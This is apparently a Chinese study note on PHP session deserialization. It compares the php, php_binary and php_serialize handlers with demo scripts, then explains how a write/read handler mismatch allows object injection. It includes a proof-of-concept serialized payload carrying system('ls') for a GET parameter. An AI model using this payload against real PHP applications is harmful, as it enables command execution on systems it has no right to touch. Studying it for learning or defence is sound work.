php反序列化学习(3)

1、session

当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,访问用户session被序列化后,存储到指定目录(默认为/tmp)。

漏洞产生:写入格式与读取格式不一致

处理器与对应格式:

|---------------------------|------------------------------------------|
| 处理器 | 对应的存储格式 |
| php | 键名+竖线+经过serialize()函数序列化处理的值 |
| php_serialize(php>=5.54) | 经过serialize()函数序列化处理的数组 |
| php_binary | 键名长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 |

2、PHP session机制:

Session一般称为"会话控制",简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种"对话"机制。

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

3、工作过程

会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的CookiesGetPost中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

4、存储机制:

1、php处理器:

php 复制代码
<?php
echo "dundundun";
session_start();
$_SESSION['dundundun'] = $_GET['a'];
?>

查看运行结果

序列化的结果为:dundundun|s:9:"dundundun";

dundundun$_SESSION['dundundun']的键名,|后为传入 GET 参数经过序列化后的值

2、php_binary处理器

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

得到结果如下:

#sessionsessionsessionsessionsessions:2:"aa";

键值长度为35,#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:2:"aa"; 为传入 GET 参数经过序列化后的值

3、php_serialize 处理器

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

得到结果如下:

a:1:{s:7:"session";s:2:"bb";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

5、反序列化漏洞是怎么来的

存储页面:用php_serialize的方式存储

读取页面:用php的方式读取

写入格式与读取格式不一致,导致漏洞产生

构造poc:

php 复制代码
<?php
class D{
var $a = "system('id')";
}
echo serialize(new (D))
?>

php_serialize格式:

?a=|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}

php格式:

a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

以PHP格式读取时会把O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}进行反序列化导致漏洞产生。

相关推荐
几司21 小时前
OpenISP 模块拆解 · 第1讲:坏点校正 (DPC)
笔记·学习·isp
-To be number.wan21 小时前
计算机组成原理 | 定点数加减运算
学习·计算机组成原理
kkeeper~21 小时前
0基础C语言积跬步之内存函数
c语言·开发语言
吃好睡好便好21 小时前
在Matlab中绘制杆状图
开发语言·学习·算法·matlab·信息可视化
桀人21 小时前
C++——内存管理——new和delete的超详细解析
开发语言·c++
Shadow(⊙o⊙)21 小时前
Shell进程替换,自定义Shell解释器——字符串库函数灵活操作!
linux·运维·服务器·开发语言·c++·学习
数智工坊21 小时前
PyCharm 运行 Python 脚本总自动进 Test 模式?附 RT-DETRv2 依赖缺失终极排坑
开发语言·ide·人工智能·python·pycharm
再写一行代码就下班21 小时前
根据给定word模板,动态填充指定内容,并输出为新的word文档。(${aa}占位符方式且支持循环动态表格)
java·开发语言
星幻元宇VR21 小时前
VR禁毒骑行系统|以沉浸式体验提升禁毒宣传教育效果
人工智能·科技·学习·安全·vr·虚拟现实
七夜zippoe21 小时前
DolphinDB流数据表:创建与订阅
开发语言·订阅··dolphindb·数据表